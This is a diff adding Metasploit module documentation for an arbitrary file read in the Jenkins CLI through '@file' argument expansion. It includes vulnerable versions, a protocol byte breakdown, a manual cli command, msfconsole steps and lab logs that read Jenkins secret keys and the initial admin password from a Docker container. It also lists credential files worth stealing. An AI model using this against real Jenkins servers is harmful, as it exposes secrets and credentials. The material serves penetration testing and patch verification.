|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module utilizes the Jenkins cli protocol to run the `help` command. |
| 4 | +The cli is accessible with read-only permissions by default, which are |
| 5 | +all thats required. |
| 6 | + |
| 7 | +Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to |
| 8 | +replace any `@<filename>` with the contents of a file. We are then able to retrieve |
| 9 | +the error message to read up to the first two lines of a file. |
| 10 | + |
| 11 | +Exploitation by hand can be done with the cli, see markdown documents for additional |
| 12 | +instructions. |
| 13 | + |
| 14 | +There are a few exploitation oddities: |
| 15 | +1. The injection point for the `help` command requires 2 input arguments. |
| 16 | +When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument. |
| 17 | +If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.` |
| 18 | +However, we can pad out the content by supplying a first argument. |
| 19 | +2. There is a strange timing requirement where the `download` (or first) request must get |
| 20 | +to the server first, but the `upload` (or second) request must be very close behind it. |
| 21 | +From testing against the docker image, it was found values between `.01` and `1.9` were |
| 22 | +viable. Due to the round trip time of the first request and response happening before |
| 23 | +request 2 would be received, it is necessary to use threading to ensure the requests |
| 24 | +happen within rapid succession. |
| 25 | + |
| 26 | +Files of value: |
| 27 | + |
| 28 | + * /var/jenkins_home/secret.key |
| 29 | + * /var/jenkins_home/secrets/master.key |
| 30 | + * /var/jenkins_home/secrets/initialAdminPassword |
| 31 | + * /etc/passwd |
| 32 | + * /etc/shadow |
| 33 | + * Project secrets and credentials |
| 34 | + * Source code, build artifacts |
| 35 | + |
| 36 | +Vulnerable versions include: |
| 37 | + |
| 38 | + * < 2.442 |
| 39 | + * LTS < 2.426.3 |
| 40 | + |
| 41 | +### Protocol Breakdown |
| 42 | + |
| 43 | +A few samples of the protocol that was observed, how to generate it, and the breakdown of fields. |
| 44 | + |
| 45 | +| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** | |
| 46 | +|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------| |
| 47 | +| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 | |
| 48 | +| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 | |
| 49 | +| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 | |
| 50 | +| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 | |
| 51 | + |
| 52 | +### Docker Setup |
| 53 | + |
| 54 | +Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17` |
| 55 | + |
| 56 | +LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts` |
| 57 | + |
| 58 | +## Verification Steps |
| 59 | + |
| 60 | +1. Install the application |
| 61 | +1. Start msfconsole |
| 62 | +1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read` |
| 63 | +1. Do: `set rhost [ip]` |
| 64 | +1. Do: `run` |
| 65 | +1. You should get the first two lines of the `FILE_PATH` |
| 66 | + |
| 67 | +## Options |
| 68 | + |
| 69 | +### FILE_PATH |
| 70 | + |
| 71 | +File path to read from the server. Defaults to `/etc/passwd`. |
| 72 | + |
| 73 | +Other files which may be of value: |
| 74 | + * `/var/jenkins_home/secret.key` |
| 75 | + * `/var/jenkins_home/secrets/master.key` |
| 76 | + * `/var/jenkins_home/secrets/initialAdminPassword` |
| 77 | + * `/etc/passwd` |
| 78 | + * `/etc/shadow` |
| 79 | + * Project secrets and credentials |
| 80 | + * Source code, build artifacts |
| 81 | + |
| 82 | +### DELAY |
| 83 | + |
| 84 | +Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it. |
| 85 | +Defaults to `0.5` |
| 86 | + |
| 87 | +Testing against the docker image showed values between `.01` and `1.9` were successful. |
| 88 | + |
| 89 | +### ENCODING |
| 90 | + |
| 91 | +Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8` |
| 92 | + |
| 93 | +### LOCALITY |
| 94 | + |
| 95 | +Locality to use for reading the file. This may mangle binary files. Defaults to `en_US` |
| 96 | + |
| 97 | +## Scenarios |
| 98 | + |
| 99 | +### jenkins 2.440-jdk17 on Docker |
| 100 | + |
| 101 | +``` |
| 102 | +msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read |
| 103 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 |
| 104 | +rhost => 127.0.0.1 |
| 105 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword |
| 106 | +file_path => /var/jenkins_home/secrets/initialAdminPassword |
| 107 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run |
| 108 | +[*] Running module against 127.0.0.1 |
| 109 | +
|
| 110 | +[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6 |
| 111 | +[*] Re-attempting with padding for single line output file |
| 112 | +[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2): |
| 113 | +f5d5f6e98e1f466aad22c0f81ca48fb0 |
| 114 | +[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt |
| 115 | +[*] Auxiliary module execution completed |
| 116 | +``` |
| 117 | + |
| 118 | +### jenkins 2.426.2-lts on Docker |
| 119 | + |
| 120 | +``` |
| 121 | +msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read |
| 122 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1 |
| 123 | +rhost => 127.0.0.1 |
| 124 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key |
| 125 | +file_path => /var/jenkins_home/secret.key |
| 126 | +msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run |
| 127 | +[*] Running module against 127.0.0.1 |
| 128 | +
|
| 129 | +[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339 |
| 130 | +[*] Re-attempting with padding for single line output file |
| 131 | +[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2): |
| 132 | +6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad |
| 133 | +[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt |
| 134 | +[*] Auxiliary module execution completed |
| 135 | +``` |
0 commit comments